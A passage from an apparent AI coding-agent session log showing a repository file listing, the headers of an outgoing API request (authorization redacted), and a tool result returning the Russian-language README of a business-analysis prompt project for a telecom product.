**\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n`40-practice-and-cases.md`, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2\\n([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n./ba-meta-model/10-theory.md\\n./ba-meta-model/20-taxonomy.md\\n./ba-meta-model/50-open-research.md\\n./ba-meta-model/30-decision-framework.md\\n./ba-meta-model/00-introduction.md\\n./ba-meta-model/40-practice-and-cases.md\\n./ba-meta-model/product-taxonomy/telecom-products.yaml\\n./ba-meta-model/product-taxonomy/mango-products.yaml\\n./ba-meta-model/operation-taxonomy/10-theory.md\\n./ba-meta-model/operation-taxonomy/20-taxonomy.md\\n./ba-meta-model/operation-taxonomy/50-open-research.md\\n./ba-meta-model/operation-taxonomy/30-decision-framework.md\\n./ba-meta-model/operation-taxonomy/00-introduction.md\\n./ba-meta-model/operation-taxonomy/40-practice-and-cases.md\\n./ba-meta-model/process-taxonomy/10-theory.md\\n./ba-meta-model/process-taxonomy/20-taxonomy.md\\n./ba-meta-model/process-taxonomy/50-open-research.md\\n./ba-meta-model/process-taxonomy/30-decision-framework.md\\n./ba-meta-model/process-taxonomy/00-introduction.md\\n./ba-meta-model/process-taxonomy/40-practice-and-cases.md\\n./decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n./decisions/2026-09-adr-020-clean-distribution-package.md\\n./README.md\\n./experiments/.gitkeep\\n./experiments/issue_638_gigacode_input_checks.log\\n./experiments/issue_636_real_task_flow.sh\\n./experiments/issue_638_gigacode_smoke_guide.py\\n./experiments/issue_638_gigacode_full_route.log\\n./experiments/issue_638_gigacode_deploy_check.log\\n./experiments/issue_605_run_inventory.py\\n./experiments/issue_638_update_manifest_hashes.py\\n./experiments/issue_638_gigacode_full_route.py\\n./experiments/issue_638_gigacode_input_checks.py\\n./experiments/issue_639_runner_probes.log\\n./experiments/issue_636_seal.log\\n./experiments/issue_638_gigacode_kb_copy_check.log\\n./experiments/issue_636_check_links.py\\n./experiments/issue_639_runner_probes.py\\n./experiments/issue_639_gap_probes.log\\n./experiments/issue_638_gigacode_smoke_guide.log\\n./experiments/issue_636_real_task_flow.log\\n./experiments/issue_638_gigacode_smoke_flow.py\\n./experiments/issue_639_gap_probes.sh\\n./experiments/issue_638_gigacode_smoke_flow_data.py\\n./experiments/issue_638_windows_autocrlf.sh\\n./experiments/issue_638_gigacode_deploy_check.sh\\n./experiments/issue_638_gigacode_smoke_flow.log\\n./experiments/issue_636_seal.ps1\\n./experiments/issue_638_gigacode_kb_copy_check.sh\\n./docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md\\n./docs/rfc/2026-09-bcreq-working-release-pipeline.md\\n./docs/rfc/2026-09-source-pilot-verification.md\\n./docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md\\n./docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n./docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n./docs/analysis/2026-09-24-architecture-convergence-and-readiness.md\\n./docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\n./docs/analysis/2026-09-23-requirements-run-forensics.md\\n./docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n./docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\n./meta-model-guides/README.md\\n./meta-model-guides/qwen-chat-runtime-migration-instruction.md\\n./meta-model-guides/gigacode-cli/mango-ba-ai-runtime-cli-user-guide.html\\n./meta-model-guides/gigacode-cli/screenshots/mango-ba-ai-runtime-cli-user-guide-preview.png\\n./tests/cline-package/test_package.py\\n./tests/execution-package/README.md\\n./tests/execution-package/fixtures/working-valid.json\\n./tests/execution-package/fixtures/straight-through.yaml\\n./tests/execution-package/fixtures/human-gate.yaml\\n./tests/execution-package/assertions/straight-through.yaml\\n./tests/execution-package/assertions/human-gate.yaml\\n./tests/execution-package/tests/test_guides.py\\n./tests/execution-package/tests/test_semantic_regression.py\\n./tests/execution-package/tests/test_runner.py\\n./tests/execution-package/tests/test_emulation.py\\n./tests/execution-package/tools/emulate-route.py\\n215\",\n[2026-09-29T07:44:33.428Z] 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   [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:33.972Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:33.997Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:34.003Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:34.006Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:34.010Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:34.022Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:34.025Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:34.033Z] [STDOUT]     },\n[2026-09-29T07:44:34.037Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:34.042Z] [STDOUT]   },\n[2026-09-29T07:44:34.045Z] [STDOUT]   headers: {\n[2026-09-29T07:44:34.049Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:34.059Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:34.066Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:34.075Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:34.085Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:34.088Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:34.094Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:34.098Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:34.104Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:34.108Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:34.115Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:34.120Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1582\",\n[2026-09-29T07:44:34.128Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:34.132Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:34.135Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:34.138Z] [STDOUT]     \"x-client-request-id\": \"7a3e1c7a-0410-437f-a881-39c48013037e\",\n[2026-09-29T07:44:34.143Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:34.151Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:34.157Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:34.164Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:34.167Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:34.173Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:34.175Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:34.181Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:34.187Z] [STDOUT]   },\n[2026-09-29T07:44:34.191Z] [STDOUT] }\n[2026-09-29T07:44:34.255Z] [INFO] {\n[2026-09-29T07:44:34.255Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"message\": {\n[2026-09-29T07:44:34.255Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:34.255Z] [INFO]     \"content\": [\n[2026-09-29T07:44:34.255Z] [INFO]       {\n[2026-09-29T07:44:34.255Z] [INFO]         \"tool_use_id\": \"toolu_01A73dqsbXiEYapSgnuqqTLL\",\n[2026-09-29T07:44:34.255Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:34.255Z] [INFO]         \"content\": \"---\\nstatus: canonical\\nversion: 2.4\\nupdated: 2026-08-21\\ntemperature: 0.1\\nowner: G-Ivan-A\\nresearch_deps:\\n  - \\\"docs/hub-research-dependencies.md#adr-009-repo-split\\\"\\n  - \\\"docs/hub-research-dependencies.md#separation-readiness\\\"\\n---\\n\\n# Mango BA Prompts\\n\\n> **\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u041c\u0430\u043d\u0433\u043e (\u0442\u0435\u043b\u0435\u043a\u043e\u043c).**\\n> \u0417\u0434\u0435\u0441\u044c \u0436\u0438\u0432\u0443\u0442 **\u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043f\u0430\u043c\u044f\u0442\u044c**: \u043f\u0440\u043e\u043c\u043f\u0442\u044b,\\n> \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b, \u0431\u0430\u0437\u0430 \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0411\u0410.\\n\\n`mango_ba_prompts` \u2014 standalone-\u043f\u0440\u043e\u0435\u043a\u0442 (\u0441\u043f\u043e\u043a), \u0432\u044b\u0440\u043e\u0441\u0448\u0438\u0439 \u0438\u0437 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 Mango \u0432\\n\u043c\u043e\u043d\u043e\u0440\u0435\u043f\u043e-\u0425\u0430\u0431\u0435 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0436\u0438\u0432\u0443\u0449\u0438\u0439 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e. \u0421\u043f\u043e\u043a \u043d\u0435\u0441\u0451\u0442 **\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0443\u044e\\n\u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c** (\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u0438\u0445 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442). \u0424\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 \u0425\u0430\u0431\u0435 \u2014 \u0441\u043f\u043e\u043a \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445 \u0438\u0437 **\u043e\u0434\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438**:\\n`docs/hub-research-dependencies.md` (\u0435\u0434\u0438\u043d\u044b\u0439 \u0440\u0435\u0435\u0441\u0442\u0440 research-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439).\\n\\n## \ud83d\udd12 \u0420\u043e\u043b\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n\\n| \u0412\u043e\u043f\u0440\u043e\u0441 | \u041e\u0442\u0432\u0435\u0442 |\\n| --- | --- |\\n| \u0427\u0442\u043e \u044d\u0442\u043e \u0437\u0430 \u043f\u0440\u043e\u0435\u043a\u0442? | \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u041c\u0430\u043d\u0433\u043e (\u0442\u0435\u043b\u0435\u043a\u043e\u043c). \u0420\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0432\u0438\u0434\u0435\u043d\u0438\u044e \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. |\\n| \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0438\u043b\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439? | \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u2014 **Private** (\u0440\u0435\u0448\u0435\u043d\u0438\u0435 ADR-009 v0.3). \u0421\u043c\u0435\u043d\u0430 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f; \u0434\u043e \u043d\u0435\u0451 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c, \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u0433\u043e. |\\n| \u041d\u0430 \u0447\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442? | **GitHub \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430** (issues, PR, Markdown) + **AI-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c** \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442. |\\n| \u0427\u0435\u0433\u043e \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442? | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (serverless/VPS), \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 \u2014 \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. |\\n| \u0413\u0434\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f? | \u0412 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 [`ai-ba-playbooks`](https://github.com/G-Ivan-A/ai-ba-playbooks): \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043b\u0435\u0439\u0431\u0443\u043a\u0438 \u0434\u043b\u044f \u0411\u0410. |\\n| \u041a\u0430\u043a \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0442\u0443\u0434\u0430? | **\u041e\u0434\u043d\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 \u043d\u0435\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439** \u043f\u043e\u0442\u043e\u043a `\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u2192 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439` \u0441 \u043e\u0442\u0431\u043e\u0440\u043e\u043c \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c; \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2014 \u0432 [`docs/rfc-hub-integration.md`](docs/rfc-hub-integration.md). |\\n| \u0427\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0441 \u0432\u0435\u0431-\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c \u043f\u043e\u0441\u043b\u0435 Private? | GitHub Pages \u043d\u0430 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u043c \u043f\u043b\u0430\u043d\u0435 \u0434\u043b\u044f \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u2014 \u044d\u0442\u043e \u0431\u043b\u043e\u043a\u0435\u0440 Q1. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f (\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043f\u043e\u0440\u0442\u0430\u043b, \u043f\u043e\u044d\u0442\u0430\u043f\u043d\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f, \u0432\u044b\u0432\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 `ai-ba-playbooks`) \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md#\u0432\u0435\u0431-\u0440\u0435\u0441\u0443\u0440\u0441-app-\u043f\u043e\u0441\u043b\u0435-\u043f\u0440\u0438\u0432\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438); \u0432\u044b\u0431\u043e\u0440 \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. |\\n\\n\u041f\u043e\u043b\u043d\u044b\u0435 \u043d\u043e\u0440\u043c\u044b \u0438 \u043a\u0430\u0440\u0442\u0430 \u00ab\u0447\u0442\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e / \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u00bb \u2014 \u0432\\n[`ai-governance/ai-governance.md`](ai-governance/ai-governance.md) (\u0440\u0430\u0437\u0434\u0435\u043b\u044b \u00ab\u0420\u043e\u043b\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f\\n\u043c\u043e\u0434\u0435\u043b\u044c\u00bb \u0438 \u00ab\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u043a \u043f\u0440\u0438\u0432\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438\u00bb).\\n\\n## \u2696\ufe0f \u041f\u0440\u0438\u043d\u0446\u0438\u043f \u00ab\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f > \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c\u00bb\\n\\n\u041d\u0430\u0434\u0451\u0436\u043d\u043e\u0441\u0442\u044c, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u044c \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439 \u0432\u0430\u0436\u043d\u0435\u0435 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0438 \u0442\u043e\u043a\u0435\u043d\u043e\u0432\\n\u0438 \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0414\u041e\u0414:\\n\\n> \u041a\u0430\u0436\u0434\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0411\u0410 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u2014\\n> \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate.\\n> **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439.**\\n\\n\u0424\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u0442\u0430\u0442\u0443\u0441: \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u044b \u0438 human-in-the-loop gate \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0435\u0441\u0442\u044c,\\n**evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442** \u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e \u0432\\n[`ai-governance/ai-governance.md`](ai-governance/ai-governance.md#\u0441\u0442\u0430\u0442\u0443\u0441-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432-\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438-\u043d\u0430-\u0441\u0435\u0433\u043e\u0434\u043d\u044f) \u0438\\n[`pr-ops/BACKLOG.md`](pr-ops/BACKLOG.md).\\n\\n\u041d\u043e\u0440\u043c\u0430 \u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u2014 \u0432\\n[`ai-governance/ai-governance.md`](ai-governance/ai-governance.md#\u043f\u0440\u0438\u043d\u0446\u0438\u043f-\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e-\u0441\u0438\u0441\u0442\u0435\u043c\u044b-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f--\u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c);\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u0414\u041e\u0414 (\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 D1\u2013D10) \u2014 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 \u0425\u0430\u0431\u0430 \u0447\u0435\u0440\u0435\u0437\\n[`docs/hub-research-dependencies.md#ba-process-ontology`](docs/hub-research-dependencies.md#ba-process-ontology).\\n\\n## \ud83e\udded \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u0438 \u0442\u0430\u043a\u0442\u0438\u043a\u0430\\n\\n- **\u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0446\u0435\u043b\u044c** \u2014 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 Mango.\\n- **\u0422\u0430\u043a\u0442\u0438\u043a\u0430** \u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 **\u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432** ([`patterns/`](patterns/)) \u0438\\n  **\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432** ([`prompts/`](prompts/)), \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0435\u0439\\n  13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410\\n  ([`docs/taxonomy.md`](docs/taxonomy.md)); \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2194 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u2194\\n  \u043f\u0440\u043e\u043c\u043f\u0442 \u0432\u0435\u0434\u0451\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e \u0432\\n  [`docs/ba-processes/00-index.md`](docs/ba-processes/00-index.md), \u0430\\n  \u0433\u0440\u0430\u0444 \u0441\u0432\u044f\u0437\u0435\u0439, \u043c\u0430\u0442\u0440\u0438\u0446\u044b, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 